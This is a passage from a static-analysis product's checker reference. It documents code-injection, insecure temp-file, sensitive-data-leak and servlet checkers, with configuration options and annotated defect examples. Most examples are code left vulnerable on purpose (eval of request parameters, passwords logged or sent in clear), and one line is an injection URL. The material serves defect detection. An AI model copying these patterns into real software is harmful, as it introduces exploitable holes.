 url(r'index', django_view)
]
```

Exploitation example:

```
http://localhost:3000/inject.php?taint=echo("inject");
```

#### 4.272.3.6. Ruby

The following Ruby on Rails code example demonstrates an HTTP request value directly passed to a function that evaluates the value as Ruby code.

```
class ExampleController < ApplicationController
 def show
 eval params[:name]
 end
end
```

#### 4.272.3.7. Swift

The following example passes tainted data from an iCloud Store to an UIWebView JavaScript engine.

```
import UIKit
import Foundation

func addItemCodeToPage() {
 // Analyze with --distrust-database
 let uiWebView = UIWebView()
 let store = NSUbiquitousKeyValueStore()
 let code: String = store.string(forKey: "ItemCode")!
 uiWebView.stringByEvaluatingJavaScript(from: code)
}
```

#### 4.272.3.8. Visual Basic

In the following example, a defect is shown for the call to `GetUserName()`.

```
Imports Microsoft.AspNetCore.Mvc
```

```

<Route("api/[controller]")>
<ApiController>
Public Class EmployeeController
 Inherits Controller

 Dim Shared Engine as V8.Net.V8Engine

 ' Request handler
 <HttpGet>
 Public Function GetUsername(idd as string) as string
 ' DEFECT: Injecting an untrusted string into JavaScript code
 Dim Result as V8.Net.Handle = Engine.Execute(" call_js_func(" + idd + ");")
 If Result Is Nothing Then
 Return ""
 Else
 Return Result.ToString()
 End If
 End Function
End Class

```

#### 4.272.4. Options

This section describes one or more `SCRIPT_CODE_INJECTION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `SCRIPT_CODE_INJECTION:distrust_all:<boolean>` - [JavaScript, PHP, Python, Swift, TypeScript] Setting this option to true is equivalent to setting all `trust_*` checker options for this checker to false. Defaults to `SCRIPT_CODE_INJECTION:distrust_all:false` for JavaScript, PHP, and Python.

This checker option is automatically set to `true` if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `SCRIPT_CODE_INJECTION:trust_command_line:<boolean>` - [JavaScript, PHP, Python, Swift, TypeScript] Setting this option to false causes the analysis to treat command line arguments as tainted. Defaults to `SCRIPT_CODE_INJECTION:trust_command_line:true` for JavaScript, PHP, and Python. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` command line options.
- `SCRIPT_CODE_INJECTION:trust_console:<boolean>` - [JavaScript, PHP, Python, Swift, TypeScript] Setting this Web application security option to false causes the analysis to treat data from the console as tainted. Defaults to `SCRIPT_CODE_INJECTION:trust_console:true` for JavaScript, PHP, and Python. Setting this checker option will override the global `--trust-console` and `--distrust-console` command line options.
- `SCRIPT_CODE_INJECTION:trust_cookie:<boolean>` - [JavaScript, PHP, Python, Swift, TypeScript] Setting this Web application security option to false causes the analysis to treat data from HTTP cookies as tainted. Defaults to `SCRIPT_CODE_INJECTION:trust_cookie:false` for

JavaScript, PHP, and Python. Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` command line options.

- `SCRIPT_CODE_INJECTION:trust_database:<boolean>` - [JavaScript, PHP, and Python, TypeScript] Setting this Web application security option to false causes the analysis to treat data from a database as tainted. Defaults to `SCRIPT_CODE_INJECTION:trust_database:true` for JavaScript, PHP, Python, Swift. Setting this checker option will override the global `--trust-database` and `--distrust-database` command line options.
- `SCRIPT_CODE_INJECTION:trust_environment:<boolean>` - [JavaScript, PHP, Python, Swift, TypeScript] Setting this Web application security option to false causes the analysis to treat data from environment variables as tainted. Defaults to `SCRIPT_CODE_INJECTION:trust_environment:true` for JavaScript, PHP, and Python. Setting this checker option will override the global `--trust-environment` and `--distrust-environment` command line options.
- `SCRIPT_CODE_INJECTION:trust_filesystem:<boolean>` - [JavaScript, PHP, Python, Swift, TypeScript] Setting this Web application security option to false causes the analysis to treat data from the filesystem as tainted. Defaults to `SCRIPT_CODE_INJECTION:trust_filesystem:true` for JavaScript, PHP, and Python. Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` command line options.
- `SCRIPT_CODE_INJECTION:trust_http:<boolean>` - [JavaScript, PHP, Python, Swift, TypeScript] Setting this Web application security option to false causes the analysis to treat data from HTTP requests as tainted. Defaults to `SCRIPT_CODE_INJECTION:trust_http:false` for JavaScript, PHP, and Python. Setting this checker option will override the global `--trust-http` and `--distrust-http` command line options.
- `SCRIPT_CODE_INJECTION:trust_http_header:<boolean>` - [JavaScript, PHP, Python, Swift, TypeScript] Setting this Web application security option to false causes the analysis to treat data from HTTP headers as tainted. Defaults to `SCRIPT_CODE_INJECTION:trust_http_header:false` for JavaScript, PHP, and Python. Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` command line options.
- `SCRIPT_CODE_INJECTION:trust_mobile_other_app:<boolean>` - [JavaScript, Swift, TypeScript only] Setting this Web application security option to true causes the analysis to trust data that is received from any mobile application that does not require a permission to communicate with the current application component. Defaults to `SCRIPT_CODE_INJECTION:trust_mobile_other_app:false`. Setting this checker option will override the global `--trust-mobile-other-app` and `--distrust-mobile-other-app` command line options. Note that enabling this option for PHP and Python will not lead to detection of fewer defects because those languages currently have no known functions that return untrusted mobile data.
- `SCRIPT_CODE_INJECTION:trust_mobile_other_privileged_app:<boolean>` - [JavaScript, Swift, TypeScript only] Setting this Web application security option to false causes the analysis to treat data as tainted when the data is received from any mobile application that requires a permission to communicate with the current application component. Defaults to `SCRIPT_CODE_INJECTION:trust_mobile_other_privileged_app:true`. Setting this

checker option will override the global `--trust-mobile-other-privileged-app` and `--distrust-mobile-other-privileged-app` command line options. Note that enabling this option for PHP and Python will not lead to detection of fewer defects because those languages currently have no known functions that return untrusted mobile data.

- `SCRIPT_CODE_INJECTION:trust_mobile_same_app:<boolean>` - [JavaScript, Swift, TypeScript only] Setting this Web application security option to false causes the analysis to treat data received from the same mobile application as though it is tainted. Defaults to `SCRIPT_CODE_INJECTION:trust_mobile_same_app:true`. Setting this checker option will override the global `--trust-mobile-same-app` and `--distrust-mobile-same-app` command line options. Note that enabling this option for PHP and Python will not lead to detection of fewer defects because those languages currently have no known functions that return untrusted mobile data.
- `SCRIPT_CODE_INJECTION:trust_mobile_user_input:<boolean>` - [JavaScript, Swift, TypeScript only] Setting this Web application security option to true causes the analysis to treat data obtained from user input as though it is not tainted. Defaults to `SCRIPT_CODE_INJECTION:trust_mobile_user_input:false`. Setting this checker option will override the global `--trust-mobile-user-input` and `--distrust-mobile-user-input` command line options. Note that enabling this option for PHP and Python will not lead to detection of fewer defects because those languages currently have no known functions that return untrusted mobile data.
- `SCRIPT_CODE_INJECTION:trust_network:<boolean>` - [JavaScript, PHP, Python, Swift, TypeScript] Setting this Web application security option to false causes the analysis to treat data from the network as tainted. Defaults to `SCRIPT_CODE_INJECTION:trust_network:false` for JavaScript, PHP, and Python. Setting this checker option will override the global `--trust-network` and `--distrust-network` command line options.
- `SCRIPT_CODE_INJECTION:trust_rpc:<boolean>` - [JavaScript, PHP, Python, Swift, TypeScript] Setting this Web application security option to false causes the analysis to treat data from RPC requests as tainted. Defaults to `SCRIPT_CODE_INJECTION:trust_rpc:false` for JavaScript, PHP, and Python. Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` command line options.
- `SCRIPT_CODE_INJECTION:trust_system_properties:<boolean>` - [JavaScript, PHP, Python, Swift, TypeScript] Setting this Web application security option to false causes the analysis to treat data from system properties as tainted. Defaults to `SCRIPT_CODE_INJECTION:trust_system_properties:true` for JavaScript, PHP, and Python. Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` command line options.

## 4.273. SECURE\_CODING

Quality, Security Checker

### 4.273.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

DEPRECATED in 7.5.0: The `SECURE_CODING` checker has been deprecated. As of release 2020.03, we recommend that you use CodeXM to implement custom checkers that can identify *don't call* issues. See Section 4.128.1, "Migrate DC Custom Checkers to CodeXM".

`SECURE_CODING` is an auditing tool, not a checker in the usual sense. Most of what it reports are not defects. Do not enable it casually, as it will dilute the analysis results with noise. `SECURE_CODING` reports *any* call to a potentially dangerous function without analyzing the code's behavior or the call's context. It warns of historically unsafe function use and suggests possible alternatives. It is best used as part of an organized effort to transition an entire code base away from dangerous legacy functions. You can customize the set of functions that it warns about.

Certain unsafe functions should not be used, such as `gets()`, while other functions have been identified as security threats, such as `strcpy`. Some functions that were designed to alleviate the problems associated with their predecessors (for example, `strncpy()` instead of `strcpy()`), can still cause issues when used incorrectly.

There are cases where `SECURE_CODING` reports a function's use as dangerous but, within the code's context, it is actually safe. This is intentional and the corresponding reports are not defects but, instead, identifiers of code warranting further inspection. By default, this checker is disabled due to the many reports it generates. To enable `SECURE_CODING` specify the following:

```
cov_analyze -en SECURE_CODING
```

The `SECURE_CODING` analysis does no inferring of secure coding functions. It produces no false positives: its reports are warnings not defects. To remove a given function's warning you need to create an empty model of the targeted function and compile it using the following:

```
cov-make-library -en SECURE_CODING
```

**Disabled by default:** `SECURE_CODING` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

## 4.273.2. Examples

This section provides one or more `SECURE_CODING` examples.

In the following example, there are three possible issues:

- You should never use the `gets()` function because you cannot control the amount of data that is read.
- You should avoid using the `strcpy()` function, and use `strncpy()` instead.
- When using the `strncpy()` function, make sure to use a correct size argument.

```
void secure_coding_example() {
 char *d, *s, *p;
 int x;
 ...
}
```

```
gets(p);
strcpy(d, s);
strncpy(d, s, x);
}
```

### 4.273.3. Models

You can use a primitive to create custom models for `SECURE_CODING`:

```
int outdated_copy_function(void *arg) {
 __coverity_secure_coding_function__(
 "buffer overflow",
 "outdated_function() makes no guarantee of safety.",
 "Use updated_copy_function() instead.",
 "VERY RISKY");
}
```

This model indicates that at every call to `outdated_copy_function()`, a warning appears telling the developer to avoid this function and replace it with `updated_copy_function()`.

## 4.274. SECURE\_TEMP

Quality, Security Checker

### 4.274.1. Overview

**Supported Languages:** C, C++

`SECURE_TEMP` finds cases where a temporary file is created in an insecure manner. When that happens in a program that runs with elevated privileges, the program is vulnerable to race condition attacks and can be used to subvert system security.

Many programs create temporary files in shared directories such as `/tmp`. There are C library routines that assist in creating unique temporary files, but many of them are insecure as they make a program vulnerable to race condition attacks.

If the name of a temporary file is easily guessed, or the filename is used unsafely after temp file creation, or the `umask` is not safely set before calling a safe routine, an attacker can take control of a vulnerable application and system.

Avoid using insecure temporary file creation routines. Instead, use `mkstemp()` for creating temp files. When using `mkstemp()`, remember to safely set the `umask` before to restrict the resulting temporary file permissions to only the owner. Also, do not pass on the filename to another privileged system call. Use the returned file descriptor instead.



#### Note

`SECURE_TEMP` does not work interprocedurally.

**Disabled by default:** `SECURE_TEMP` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Security checker enablement:** To enable `SECURE_TEMP` along with other security checkers, use the `--security` option with the `cov-analyze` command.

## 4.274.2. Examples

This section provides one or more `SECURE_TEMP` examples.

The following example generates a defect because `mktemp()` is insecure: it is easy to guess the name of the temporary file it creates. Similar functions include `tmpnam()`, `tempnam()`, and `tmpfile()`.

```
void secure_temp_example() {
 char *tmp, *tmp2, *tmp3;
 char buffer[1024];
 tmp = mktemp(buffer);
}
```

## 4.274.3. Events

This section describes one or more events produced by the `SECURE_TEMP` checker.

- `secure_temp`: Either an unsafe temporary file creation routine was used, or `mkstemp()` was used without correctly setting the `umask`.

## 4.275. SELF\_ASSIGN

Quality, Rule Checker

### 4.275.1. Overview

**Supported Languages:** C++

`SELF_ASSIGN` reports many cases where a C++ assignment member function does not check for the right-hand side of the assignment as being the same object as `this` before assigning to the fields of `this`. If the class of which this operator is a member owns resources, such as dynamically allocated memory or operating system handles, use-after-free errors might occur if an object is assigned to itself. Other problems are also possible, depending on exactly how the assignment operator is written.

This checker only considers assignment operators that can be used to assign entire objects. It excludes private operators, on the assumption that they are not meant to be used.

The following simple string wrapper class demonstrates the sort of problem the `SELF_ASSIGN` checker detects:

```
class SimpleString {
 char *p;
public:
 SimpleString(const char *s = "") : p(strdup(s)) {}
}
```

```
SimpleString(const SimpleString &init) : p(strdup(init.p)) {}
~SimpleString() {free(p);}
SimpleString &operator=(const SimpleString &rhs)
{
 free(p); // bad if &rhs == this
 p = strdup(rhs.p); // use-after-free when &rhs == this
 return *this;
}

const char *str() {return p;}
operator const char *() {return str();}
};
```

Note that the rule this checker enforces does not require that the class own any resources, so it may report many cases where self-assignment is harmless, such as:

```
struct point {
 int x;
 int y;
 point(int xx, int yy) : x(xx), y(yy) {}
 point(const point &init) : x(init.x), y(init.y) {}
 point &operator=(const point &rhs)
 {
 x = rhs.x; // harmless even when &rhs == this
 y = rhs.y;
 return *this;
 }
};
```

**Disabled by default:** `SELF_ASSIGN` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

## 4.275.2. Events

This section describes one or more events produced by the `SELF_ASSIGN` checker.

- `self_assign`: An object is potentially assigning to itself.

## 4.276. SW.\*

Quality, Compilation Warning Checkers

### 4.276.1. Overview

**Supported Languages:** C, C++, Swift

See `PW.*`, `RW.*`, `SW.*`: Compilation Warning.

## 4.277. SENSITIVE\_DATA\_LEAK

Security Checker

### 4.277.1. Overview

**Supported Languages:** C, C++, C#, Go, Java, JavaScript, Kotlin, Objective C, Objective C++, PHP, Python, Ruby, Swift, Visual Basic

`SENSITIVE_DATA_LEAK` finds code that stores, transmits, or logs sensitive data without protecting it adequately for encryption. Showing exception stack traces or other program information on the UI can reveal data about an application, which makes it more susceptible to attacks. The `SENSITIVE_DATA_LEAK` checker then reports these sensitive data leaks.

Note that the analysis treats fields and parameters as password data based on their names if the `use_name_based_taint` option is set to `always`. This can be done by setting the aggressiveness level to high.

If the `--webapp-security-aggressiveness-level` option to **cov-analyze** is set to `high`, you can use the following command line options to specify the pieces of program data that the analysis will treat as password data: `--add-password-regex` and `--replace-password-regex`. For C, C++, Objective C, and Objective ++, the option of interest is `--aggressiveness-level` set to high. For details, see the **cov-analyze** command documentation in the *Coverity Command Reference*.

**Disabled by default:** `SENSITIVE_DATA_LEAK` is disabled by default for C, C++, C#, Java, JavaScript, Objective C, Objective C++, PHP, Python, Visual Basic. To enable it, you can use the `--enable` or `--security` option to the **cov-analyze** command.

**Enabled by default:** `SENSITIVE_DATA_LEAK` is enabled by default for Go, Kotlin, Ruby, and Swift.

**Web application security checker enablement:** To enable `SENSITIVE_DATA_LEAK` along with other Web application checkers, use the `--webapp-security` option.

**Android security checker enablement:** To enable `SENSITIVE_DATA_LEAK` along with other Java Android security checkers, use the `--android-security` option with the **cov-analyze** command.

### 4.277.2. Defect Anatomy

A `SENSITIVE_DATA_LEAK` defect shows a dataflow path by which sensitive data, such as an unencrypted password or a session ID, is leaked to the network, the filesystem, a log, a database, a cookie, or a user interface. The dataflow path starts at a source of sensitive data, such as a decryption operation (encryption indicates the data is sensitive). From there, the events in the defect show how this sensitive data flows through the program: for example, from the argument of a function call to the parameter of the called function. The final part of the dataflow path shows the unencrypted sensitive data leaking to a sink.

For Ruby on Rails, defects are reported when detailed exceptions are enabled in production.

### 4.277.3. Examples

This section provides one or more `SENSITIVE_DATA_LEAK` examples.

### 4.277.3.1. C, C++

The following example stores a username and password to the file system without encryption.

```
int passwordStoredInPlainText(FILE *userdb) {
 char uname[MAX_UNAME_LEN];
 if (!fgets(uname, sizeof(uname), stdin)) {
 return -1;
 }
 char *pwd = getpass("Please enter your password: ");

 return fprintf(userdb, "%s:%s\n", uname, pwd); //defect
}
```

### 4.277.3.2. C#

The following example sends decrypted data, which is inferred to be sensitive, over a socket without re-encrypting or hashing it. Therefore, it is possible for an attacker to intercept the decrypted data when it is in transit.

```
public byte[] DecryptData(RSA rsa, byte[] data)
{
 return rsa.DecryptValue(data);
}

public void DecryptedDataLeaksToNetwork(
 RSA rsa,
 Socket socket,
 byte[] encryptedData)
{
 byte[] decryptedData = DecryptData(rsa, encryptedData);
 socket.Send(decryptedData);
}
```

### 4.277.3.3. Go

The following example logs a failure that includes sensitive login credentials. A defect is shown for the `logger.Write` call.

```
package main

import (
 "net"
 "net/http"
)

func sdl(req http.Request){
 uname, password, ok := req.BasicAuth()
 if ok {
 logger, _ := syslog.New(syslog.LOG_INFO, "DEMO")
 logger.Write([]byte("Auth event: " + uname + ":" + password)) // defect here
 }
}
```

#### 4.277.3.4. Java

The following example sends a password over a socket without encrypting or hashing it. Therefore, it is possible for an attacker to intercept the password when it is in transit.

```
public void test(PasswordAuthentication pwAuth)
{
 String pw = new String(pwAuth.getPassword());

 Socket socket = null;
 PrintWriter writer = null;
 try
 {
 socket = new Socket("remote_host", 1337);
 writer = new PrintWriter(socket.getOutputStream(), true);

 writer.println(pw);
 }
 catch (IOException exceptIO) { }
}
```

#### 4.277.3.5. JavaScript

The following example sends decrypted data, which is inferred to be sensitive, in an HTTP response. Additionally, the encryption password is printed to the console. It is possible for an attacker with different capabilities to see these sensitive data.

```
let crypto = require('crypto');
let net = require('net');

let decipher = crypto.createDecipher('aes192', key);
decipher.update(encrypted, 'utf8', 'hex');
let plaintext = decipher.final();

net.createServer((socket) => {
 socket.write("Decrypted data: ");
 socket.end(plaintext);
});

console.log(key);
```

#### 4.277.3.6. Kotlin

The following example stores a password in the shared preferences (file) without encrypting or hashing it. Therefore, it is possible for attackers to read the password from the shared preferences with widely available tools.

```
import android.content.Context;
import android.content.SharedPreferences
import android.content.SharedPreferences.Editor
import android.net.wifi.WifiEnterpriseConfig
```

```
class SensitiveDataLeak {
 fun passwordLeaksToSharedPreferences(context: Context) {
 var enterpriseConfig = WifiEnterpriseConfig()
 var pw = enterpriseConfig.getPassword()
 val sharedPref: SharedPreferences =
 context.getApplicationContext().getSharedPreferences("my-app-
prefs", 0)
 var editor = sharedPref.edit()
 editor.putString("net-password", pw)
 editor.commit()
 }
}
```

#### 4.277.3.7. PHP

The following PHP code sends a password back to the user's web browser.

```
function dump_pw(){
 exit($_SERVER['PHP_AUTH_PW']);
}
```

#### 4.277.3.8. Ruby

The following Ruby-on-Rails example demonstrates a configuration that enables detailed exceptions to be displayed to the user when an error occurs.

```
Rails.application.configure do
 config.consider_all_requests_local = true
end
```

#### 4.277.3.9. Swift

The following example logs a failure that includes the sensitive login credentials.

```
import Foundation

func ProcessAccountDetails(login: URLCredential)
{
 // Create a request
 let session = URLSession(configuration: URLSessionConfiguration.default)
 let request = URLRequest(url: URL(string: "https://mysite.com/accountdetails")!)

 // Create and run the task
 let task = session.dataTask(with: request, completionHandler: { (data, response,
error) in
 if (error != nil) {
 // SENSITIVE DATA LEAK here!
 NSLog("Login failed: \(login.user) : \(login.password!)")
 }
 // Process account details...
 })
}
```

```
task.resume()
}
```

#### 4.277.3.10. Visual Basic

The following example sends decrypted data, which is inferred to be sensitive, over a socket without re-encrypting or hashing the data. Therefore, it is possible for an attacker to intercept the decrypted data when it is in transit.

```
Public Function DecryptData(rsa As RSA, data As Byte()) As Byte()
 Return rsa.DecryptValue(data)
End Sub
Public Sub DecryptedDataLeaksToNetwork(
 rsa As RSA,
 socket As Socket,
 encryptedData As Byte()
)
 Dim decryptedData As Byte() = DecryptData(rsa, encryptedData)
 socket.Send(decryptedData)
End Sub
```

#### 4.277.4. Options

- `SENSITIVE_DATA_LEAK:use_name_based_taint:<string>` - where the string value can be either "always" or "never". Setting this option to `always` causes the analysis to infer that some identifiers and properties (such as "password") store sensitive data based on their name. Defaults to `SENSITIVE_DATA_LEAK:use_name_based_taint:"never"` for all languages.

#### 4.277.5. Models and Annotations

##### Sources and Sinks

Java models and annotations (see Section 5.4, “Models and Annotations in Java”), C# or Visual Basic models (see Section 5.2, “Models and Annotations in C# or Visual Basic”), and for JavaScript, the `tainted_data` security directive (see the *Security Directive Reference*), can improve analysis with this checker by identifying new sources of sensitive data and new sinks, that is, methods that send or store data outside of the application. You can think of a `SENSITIVE_DATA_LEAK` defect as consisting of a dataflow path from a source to a sink without any intervening encryption or hashing to protect or obfuscate the sensitive data.

Models are not supported for Go, Kotlin, and Swift.

##### 4.277.5.1. Sources

Coverity models a number of sensitive data sources by default. You can use Coverity source model primitives to model additional `SENSITIVE_DATA_LEAK` sources.

###### 4.277.5.1.1. C, C++, Objective C, Objective C++ Sources

You can specify additional sources with the `_coverity_mark_pointee_as_tainted_` primitive. For example:

```
void storesPasswordInParam(char *arg1) {
 __coverity_mark_pointee_as_tainted__(arg1, SDT_PASSWORD);
 // ...
}
```

SDT\_<source\_type> is one of the types shown in Table 4.5, “Sensitive Data Source types”.

#### 4.277.5.1.2. Java Sources

For Java, source model primitives have the following function signatures:

- Signature for modeling functions that return sensitive data:

```
sensitive_source(SensitiveDataType.SDT_<source_type>)
```

- Signature for modeling functions with a parameter that is updated or implied to contain sensitive data:

```
sensitive_source(T <parameter>, SensitiveDataType.SDT_<source_type>)
```

In the function signatures above, SDT\_<source\_type> is one of the types listed in Table 4.5, “Sensitive Data Source types”, and <parameter> is treated as sensitive data. The following example uses `SensitiveDataType.SDT_PASSWORD` to model a function that returns sensitive password data or stores such data in a parameter:

```
Object returnsPassword() {
 sensitive_source(SensitiveDataType.SDT_PASSWORD);
 // ...
}

void storesPasswordInParam(Object arg1) {
 sensitive_source(arg1, SensitiveDataType.SDT_PASSWORD);
 // ...
}
```

Additionally, you can use the `@SensitiveData` annotation in place of the primitives where applicable. For examples, see `@SensitiveData`.

#### 4.277.5.1.3. JavaScript Sources

Although the analysis includes built-in models for many common sensitive data sources, it is possible to find more issues by specifying additional and application-specific sources of sensitive data.

Methods that return sensitive data, object properties that contain sensitive data, and callback function whose parameters contain sensitive data can be modeled by using the `tainted_data` directive, which is described in the *Security Directive Reference*.

#### 4.277.5.1.4. C# and Visual Basic Sources

Although the analysis includes built-in models for many common sensitive data sources, it is possible to find more issues by specifying additional and application-specific sources of sensitive data.

Methods that return sensitive data can be modeled by using the `Coverity.Primitives.SensitiveSource` primitives. For more detail, see Section 5.2.1.1, “Modeling Sources of Sensitive Data in C# or Visual Basic”.

The `Coverity.Attributes.SensitiveData` attribute can also be applied to program elements that should be considered sensitive. For more detail, see Section 5.2.2.2, “Attributes”.

#### 4.277.5.1.5. Sensitive Data Source types

The following table describes the source types you can use when modeling sensitive data sources.

**Table 4.5. Sensitive Data Source types**

<b>C, C++, Java</b> <code>SensitiveDataType</code> <code>enum value</code>	<b>JavaScript sensitive</b> <code>data "taint_kind"</code>	<b>C# and Visual Basic</b> <code>SensitiveDataType</code> <code>enum value</code>	<b>Description</b>
SDT_DECRYPTED	"decrypted"	Decrypted	Data that was decrypted.
SDT_PASSWORD	"password"	Password	A typical password.
SDT_TOKEN	"token"	Token	A generated password, for example, from a token.
SDT_SESSION_ID	"session_id"	SessionId	A session ID.
SDT_MOBILE_ID	"mobile_id"	MobileId	The ID of a mobile device.
SDT_USER_ID	"user_id"	UserId	The ID of a user.
SDT_NATIONAL_ID	"national_id"	NationalId	The ID of a person, for example, a social security number.
SDT_PERSISTENT_SECRET	"persistent_secret"	PersistentSecret	An internal secret, for example, private keys.
SDT_TRANSIENT_SECRET	"transient_secret"	TransientSecret	A temporary secret, for example, salts, nonces, and init vectors.
SDT_SEED	"seed"	Seed	A seed, for example, a cryptographic pseudo-random number generator (CPRNG).
SDT_CARDHOLDER_DATA	"cardholder_data"	CardholderData	Credit card information, for example, a credit card number or a PAN.
SDT_ACCOUNT	"account"	Account	Financial account information, for example, a bank account number.
SDT_TRANSACTION	"transaction"	Transaction	Transaction information, for example, statements.

<b>C, C++, Java</b> <b>SensitiveDataType</b> <b>enum value</b>	<b>JavaScript sensitive</b> <b>data "taint_kind"</b>	<b>C# and Visual Basic</b> <b>SensitiveDataType</b> <b>enum value</b>	<b>Description</b>
SDT_MEDICAL	"medical"	Medical	General medical info, for example, lab results or medical history.
SDT_BIOMETRIC	"biometric"	Biometric	Biometric information, for example, fingerprints, DNA, or a retinal scan.
SDT_GEOGRAPHICAL	"geographical"	Geographical	Geographical information, for example, GPS, IP, or cell tower information.
SDT_EXCEPTION	"exception"	Exception	A message generated from an exception.
SDT_SOURCE_CODE	"source_code"	SourceCode	Information about source code, for example, a stack trace.
SDT_CONFIGURATION	"configuration"	Configuration	A configuration, for example, a configuration property.
SDT_BUG	"bug"	Bug	A known bug.
SDT_FILEPATH	"filepath"	Filepath	A path on the filesystem.
SDT_DIRECTORY_LISTING	"directory_listing"	DirectoryListing	A directory listing.
SDT_SYSTEM_MEMORY	"system_memory"	SystemMemory	Information about system memory usage.
SDT_SYSTEM_USER	"system_user"	SystemUser	System user data.
SDT_PLATFORM	"platform"	Platform	Information about the runtime platform.

#### 4.277.5.2. Sinks

Coverity also models a number of sensitive data sinks by default. You can use Coverity sink model primitives to model additional `SENSITIVE_DATA_LEAK` sinks.

To model a function as a sensitive data sink, add the appropriate sink primitive as listed in Table 4.6, “Sensitive Data Sink Types”.

You can specify additional sinks with the `_coverity_taint_sink_` primitive. For example:

```
void sendOverNetwork(char *arg1) {
 __coverity_taint_sink__(arg1, TRANSIT);
 // ...
}
```

For the C-based languages, the checker uses the same sink types as shown in Table 4.7, where the enum value is exactly equal to the `SinkKind` but capitalized: for example `COOKIE` for `cookie`.

In Java, the primitives are defined in the class `com.coverity.primitives.SecurityPrimitives` and take an `Object` as an argument, for example:

```
public class MyClass {

 // The SENSITIVE_DATA_LEAK checker will report defects if the
 // argument is sensitive data.
 void leaky_function(java.lang.String data) {
 com.coverity.primitives.SecurityPrimitives.filesystem_sink(data);
 }
}
```

In JavaScript, sinks are modeled by directives with the `"sink_for_checker"` field set to `"SENSITIVE_DATA_LEAK"`, and the `"sink_kind"` field specifying the type of sink. The `sink_for_checker` directive is described in the *Security Directive Reference*. For example:

```
{
 "sink_for_checker" : "SENSITIVE_DATA_LEAK",
 "sink_kind" : "transit",
 "sink" : {
 "input" : "arg1",
 "to_callsite" : {
 "call_on" : {
 "read_path_off_global" : "sendData"
 }
 }
 }
}
```

In C#, the primitives are defined in the class `Coverity.Primitives.Security` and take an `Object` as an argument, for example:

```
namespace TheCode {

 public class MyClass {

 // The SENSITIVE_DATA_LEAK checker will report defects if the
 // argument is sensitive data.
 public void LeakyFunction(string data) {
 Coverity.Primitives.Security.SDLFFilesystemSink(data);
 }
 }
}
```

The same primitives can be used in Visual Basic:

```
Namespace TheCode
```

```

Public Class MyClass
 ' The SENSITIVE_DATA_LEAK checker will report defects if the
 ' argument is sensitive data.
 Public Sub LeakyFunction(data As String)
 Coverity.Primitives.Security.SDLFileSystemSink(data)
 End Sub
End Class
End Namespace

```

Table 4.6. Sensitive Data Sink Types

Java primitive	<code>SENSITIVE_DATA_LEAKC# primitiveSinkKind</code>		Description
cookie_sink	cookie	SDLCookieSink	Where information is sent to an unreliable end point in a cookie.
database_sink	database	SDLDatabaseSink	Where information is stored to a database.
filesystem_sink	filesystem	SDLFileSystemSink	Where information is stored to a filesystem.
logging_sink	logging	SDLLoggingSink	Where information is logged.
registry_sink	registry	SDLRegistrySink	Where information is stored in the Windows registry.
transit_sink	transit	SDLTransitSink	Where information is sent over an unreliable connection.
ui_sink	ui	SDLUISink	Where information is sent to an unreliable end point.

## 4.278. SERVLET\_ATOMICITY

Quality, Security Checker

### 4.278.1. Overview

**Supported Languages:** Java

`SERVLET_ATOMICITY` finds instances of atomicity violations on calls to `getAttribute` and `setAttribute` on the objects of the following types:

- `javax.servlet.ServletContext`
- `javax.servlet.http.HttpSession`
- `javax.servlet.jsp.JspContext`

This checker reports a defect when a `getAttribute` and `setAttribute` on the same attribute occurs outside of a locked context.

### 4.278.2. Example

This section provides one or more `SERVLET_ATOMICITY` examples.

In the following example, assume that two separate requests are invoking `recordTemperatureStats` with `newTemps` 112 and 120. The call to `getAttribute` can occur simultaneously, resulting in the current, highest recorded temperature (`curTemp`) being the same for both the threads. Depending on the scheduling, the new highest recorded temperature could be 112 at the end of the execution. This outcome is an error because the temperature, 120, is lost. This issue can be addressed by synchronizing on an appropriate object and ensuring that the highest recorded temperature is 120 at the end.

```
public void recordTemperatureStats(Integer newTemp, HttpSession session) {
 Integer curTemp = (Integer) session.getAttribute("highestRecordedTemp");
 if (newTemp > curTemp)
 session.setAttribute("highestRecordedTemp", newTemp);
}
```

### 4.278.3. Options

This section describes one or more `SERVLET_ATOMICITY` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `SERVLET_ATOMICITY:attribute_init_race:<boolean>` - When this Java option is set to `true`, the checker reports atomicity violations when attribute is not present in the thread-shared object. Because this violation occurs during initialization, it is likely that developers will tolerate this defect. Defaults to `SERVLET_ATOMICITY:attribute_init_race:false`. (When enabled, the defect is reported under `attribute_init_race` subcategory in Coverity Connect.)
- `SERVLET_ATOMICITY:report_attribute_removal:<boolean>` - When this Java option is set to `true`, the checker reports defects involving a **removeAttribute** call or a **setAttribute** call passing a null attribute value. Defaults to `SERVLET_ATOMICITY:report_attribute_removal:false`.

### 4.278.4. Events

This section describes one or more events produced by the `SERVLET_ATOMICITY` checker.

- `get_attribute` - Calling `getAttribute()` on thread-shared object `<interface>`.
- `set_attribute` - Calling `setAttribute()` on thread-shared object `<interface>` can result in a lost update.

## 4.279. SESSION\_FIXATION

Security Checker

## 4.279.1. Overview

**Supported Languages:** Java

SESSION\_FIXATION finds session fixation vulnerabilities, which arise when uncontrolled dynamic data is passed into an API that sets the session token in use by the application. In Java web applications, each container might expose an API to set the session token. While custom session tokens are also possible, they are not currently examined by this checker.

**Disabled by default:** SESSION\_FIXATION is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

**Web application security checker enablement:** To enable SESSION\_FIXATION along with other Web application checkers, use the `--webapp-security` option.

## 4.279.2. Examples

This section provides one or more SESSION\_FIXATION examples.

In the following example, the string `sessionId` is tainted. It is passed to two identified sinks: `Request.setRequestedSessionId` and `Session.setId`.

```
protected void changeSessionID(Request request, Response response, String sessionId,
String newSessionID, Session catalinaSession) {
 lifecycle.fireLifecycleEvent("Before session migration", catalinaSession);
 request.setRequestedSessionId(newSessionID);
 catalinaSession.setId(newSessionID);
 ...
